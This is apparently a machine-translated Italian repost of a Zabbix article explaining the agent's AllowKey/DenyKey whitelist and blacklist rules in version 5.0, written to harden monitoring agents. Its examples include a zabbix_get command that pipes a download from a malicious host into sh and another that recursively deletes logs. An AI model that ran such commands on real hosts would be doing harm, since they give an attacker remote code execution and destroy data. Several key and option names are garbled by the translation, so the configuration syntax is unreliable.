Supporto blacklist e whitelist per le metriche lato agente in Zabbix 5.0

Supporto blacklist e whitelist per le metriche lato agente in Zabbix 5.0

Supporto blacklist e whitelist per le metriche lato agente

Tikhon Uskov, Ingegnere dell'integrazione, Zabbix

Problemi di sicurezza dei dati

Zabbix 5.0 ha una nuova funzionalità che consente di migliorare la sicurezza nei sistemi utilizzando Zabbix Agent e sostituisce il vecchio parametro AbilitaComandiRemoti.

I miglioramenti nella sicurezza dei sistemi basati su agenti derivano dal fatto che un agente può eseguire un gran numero di azioni potenzialmente pericolose.

  • L'agente può raccogliere quasi tutte le informazioni, comprese quelle riservate o potenzialmente pericolose, da file di configurazione, file di registro, file di password o qualsiasi altro file.

Ad esempio, utilizzando l'utilità zabbix_get è possibile accedere a un elenco di utenti, alle loro directory home, ai file delle password, ecc.

Supporto blacklist e whitelist per le metriche lato agente in Zabbix 5.0

Accesso ai dati utilizzando l'utilità zabbix_get

NOTA. I dati possono essere recuperati solo se l'agente dispone dei permessi di lettura sul file corrispondente. Ma, ad esempio, il file /etc/passwd/ leggibile da tutti gli utenti.

  • L'agente può anche eseguire comandi potenzialmente pericolosi. Ad esempio, chiave *sistema.esegui[]** ti consente di eseguire qualsiasi comando remoto sui nodi di rete, inclusa l'esecuzione di script dall'interfaccia web Zabbix che eseguono comandi anche sul lato agente.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Su Linux, l'agente viene eseguito per impostazione predefinita senza privilegi root, mentre su Windows viene eseguito come servizio come Sistema e ha accesso illimitato al file system. Di conseguenza, se non vengono apportate modifiche ai parametri dell'agente Zabbix dopo l'installazione, l'agente avrà accesso al registro, al file system e potrà eseguire query WMI.

Nelle versioni precedenti il ​​parametro EnableRemoteCommands=0 consentito solo disabilitare le metriche con il tasto *sistema.esegui[]** ed eseguendo script dall'interfaccia web, ma non c'era modo di limitare l'accesso a singoli file, consentire o disabilitare singole chiavi installate con l'agente o limitare l'uso di singoli parametri.

Supporto blacklist e whitelist per le metriche lato agente in Zabbix 5.0

Utilizzando il parametro EnableRemoteCommand nelle versioni precedenti di Zabbix

Consenti chiave/Nega chiave

Zabbix 5.0 aiuta a proteggersi da tali accessi non autorizzati fornendo whitelist e blacklist per consentire e negare le metriche lato agente.

In Zabbix 5.0 tutte le chiavi, incluso *sistema.esegui[]** sono abilitati e sono state aggiunte due nuove opzioni di configurazione dell'agente:

ConsentiChiave= — controlli consentiti;

NegaChiave= — controlli vietati;

dove è un modello di nome chiave con parametri che utilizza metacaratteri (*).

Le chiavi EnableKey e DenyKey consentono di consentire o negare singoli parametri in base a un modello specifico. A differenza di altri parametri di configurazione, il numero di parametri EnableKey/DenyKey non è limitato. Ciò consente di definire chiaramente cosa può fare esattamente l'agente nel sistema creando un albero di controlli - chiavi eseguibili, dove l'ordine in cui sono scritti gioca un ruolo molto importante.

Sequenza di regole

Le regole vengono controllate nell'ordine in cui sono immesse nel file di configurazione. La chiave viene controllata in base alle regole prima della prima corrispondenza e non appena la chiave dell'elemento dati corrisponde al modello, viene consentita o negata. Successivamente, il controllo delle regole si interrompe e le chiavi rimanenti vengono ignorate.

Pertanto, se un elemento soddisfa sia una regola di autorizzazione che una regola di negazione, il risultato dipenderà da quale regola si trova per prima nel file di configurazione.

Supporto blacklist e whitelist per le metriche lato agente in Zabbix 5.0

2 regole diverse con lo stesso schema e una chiave vfs.file.dimensione[/tmp/file]

L'ordine di utilizzo delle chiavi EnableKey/DenyKey:

  1. regole precise,
  2. regole generali,
  3. regola proibitiva.

Ad esempio, se hai bisogno di accedere ai file presenti in una determinata cartella, devi prima consentirne l'accesso e poi negare tutto il resto che non rientra nei permessi stabiliti. Se viene utilizzata prima la regola di negazione, l'accesso alla cartella verrà negato.

Supporto blacklist e whitelist per le metriche lato agente in Zabbix 5.0

Sequenza corretta

Se è necessario consentire l'esecuzione di 2 utilità tramite *sistema.esegui[]** e la regola di rifiuto verrà specificata per prima, le utilità non verranno avviate, poiché il primo modello corrisponderà sempre a qualsiasi chiave e le regole successive verranno ignorate.

Supporto blacklist e whitelist per le metriche lato agente in Zabbix 5.0

Sequenza errata

Modelli

Regole fondamentali

Pattern è un'espressione con caratteri jolly. Il metacarattere (*) corrisponde a qualsiasi numero di caratteri in una posizione specifica. I metacaratteri possono essere utilizzati sia nel nome della chiave che nei parametri. Ad esempio, puoi definire rigorosamente il primo parametro con testo, e specificare quello successivo come carattere jolly.

I parametri devono essere racchiusi tra parentesi quadre [].

  • system.run[* - sbagliato
  • vfs.file*.txt] - sbagliato
  • vfs.file.*[*] - Giusto

Esempi di utilizzo dei caratteri jolly.

  1. Nel nome della chiave e nel parametro. In questo caso la chiave non corrisponde a una chiave simile che non contiene un parametro, poiché nel pattern abbiamo indicato che vogliamo ricevere una certa desinenza del nome della chiave e un certo insieme di parametri.
  2. Se il modello non utilizza parentesi quadre, il modello consente tutte le chiavi che non contengono parametri e nega tutte le chiavi che contengono il parametro specificato.
  3. Se la chiave è scritta per intero e i parametri sono specificati come carattere jolly, corrisponderà a qualsiasi chiave simile con qualsiasi parametro e non corrisponderà alla chiave senza parentesi quadre, ovvero sarà consentita o negata.

Supporto blacklist e whitelist per le metriche lato agente in Zabbix 5.0

Regole per la compilazione dei parametri.

  • Se si intende utilizzare una chiave con parametri, i parametri devono essere specificati nel file di configurazione. I parametri devono essere specificati come metacarattere. È necessario negare attentamente l'accesso a qualsiasi file e tenere conto di quali informazioni la metrica può fornire con diverse ortografie, con e senza parametri.

Supporto blacklist e whitelist per le metriche lato agente in Zabbix 5.0

Caratteristiche di scrivere chiavi con parametri

  • Se una chiave viene specificata con parametri, ma i parametri sono facoltativi e specificati come metacarattere, verrà risolta una chiave senza parametri. Ad esempio, se vuoi disabilitare la ricezione delle informazioni sul carico della CPU e specificare che la chiave system.cpu.load[*] deve essere disabilitata, non dimenticare che la chiave senza parametri restituirà il valore del carico medio.

Supporto blacklist e whitelist per le metriche lato agente in Zabbix 5.0

Regole per l'inserimento dei parametri

Osservazioni

registrazione

  • Alcune regole non possono essere modificate dall'utente, ad esempio le regole di rilevamento o le regole di registrazione automatica dell'agente. Le regole EnableKey/DenyKey non influiscono sui seguenti parametri:
    - Elemento nome host
    -HostMetadataItem
    - ElementoInterfacciaHost

NOTA. Se un amministratore disabilita una chiave, quando interrogato, Zabbix non fornisce informazioni sul motivo per cui la metrica o la chiave rientra nella categoria 'NON SUPPORTATO'. Anche le informazioni sui divieti di esecuzione di comandi remoti non vengono visualizzate nei file di registro dell'agente. Questo avviene per motivi di sicurezza, ma può complicare il debug se i parametri rientrano in una categoria non supportata per qualche motivo.

  • Non dovresti fare affidamento su alcun ordine specifico per la connessione dei file di configurazione esterni (ad esempio, in ordine alfabetico).

Utilità della riga di comando

Dopo aver impostato le regole, devi assicurarti che tutto sia configurato correttamente.

Puoi utilizzare una delle tre opzioni:

  • Aggiungi una metrica a Zabbix.
  • Prova con zabbix_agentd. Agente Zabbix con opzione -stampa (-p) mostra tutte le chiavi (consentite per impostazione predefinita) tranne quelle non consentite dalla configurazione. E con l'opzione -prova (-t) per una chiave proibita tornerà 'Chiave dell'articolo non supportata'.
  • Prova con zabbix_get. Utilità zabbix_get con opzione -k sarà di ritorno 'ZBX_NOTSUPPORTED: metrica sconosciuta'.

Consenti o nega

È possibile negare l'accesso a un file e verificarlo, ad esempio, utilizzando l'utilità zabbix_getche l'accesso al file è negato.

Supporto blacklist e whitelist per le metriche lato agente in Zabbix 5.0

**

NOTA. Le virgolette nel parametro vengono ignorate.

In questo caso, l'accesso a tale file può essere consentito tramite un percorso diverso. Ad esempio, se un collegamento simbolico porta ad esso.

Supporto blacklist e whitelist per le metriche lato agente in Zabbix 5.0

Si consiglia di verificare le varie opzioni per l'applicazione delle regole specificate e di tenere conto anche delle possibilità di eludere i divieti.

Domande e risposte

domanda. Perché è stato scelto uno schema così complesso con un proprio linguaggio per descrivere regole, permessi e divieti? Perché non è stato possibile utilizzare, ad esempio, le espressioni regolari utilizzate da Zabbix?

risposta. Questo è un problema di prestazioni dell'espressione regolare poiché di solito c'è un solo agente e controlla un numero enorme di parametri. Regex è un'operazione piuttosto pesante e non possiamo controllare migliaia di parametri in questo modo. Caratteri jolly: una soluzione universale, ampiamente utilizzata e semplice.

domanda. I file Include non sono inclusi in ordine alfabetico?

risposta. Per quanto ne so, è praticamente impossibile prevedere l'ordine in cui verranno applicate le regole se le regole vengono distribuite su file diversi. Raccomando di raccogliere tutte le regole EnableKey/DenyKey in un unico file Include, perché interagiscono tra loro e di includere questo file.

domanda. In Zabbix 5.0 l'opzione 'EnableRemoteCommands=' manca dal file di configurazione e sono disponibili solo AlwaysKey/DenyKey?

Risposta. sì, è giusto.

Grazie!

Fonte: habr.com

Aggiungi un commento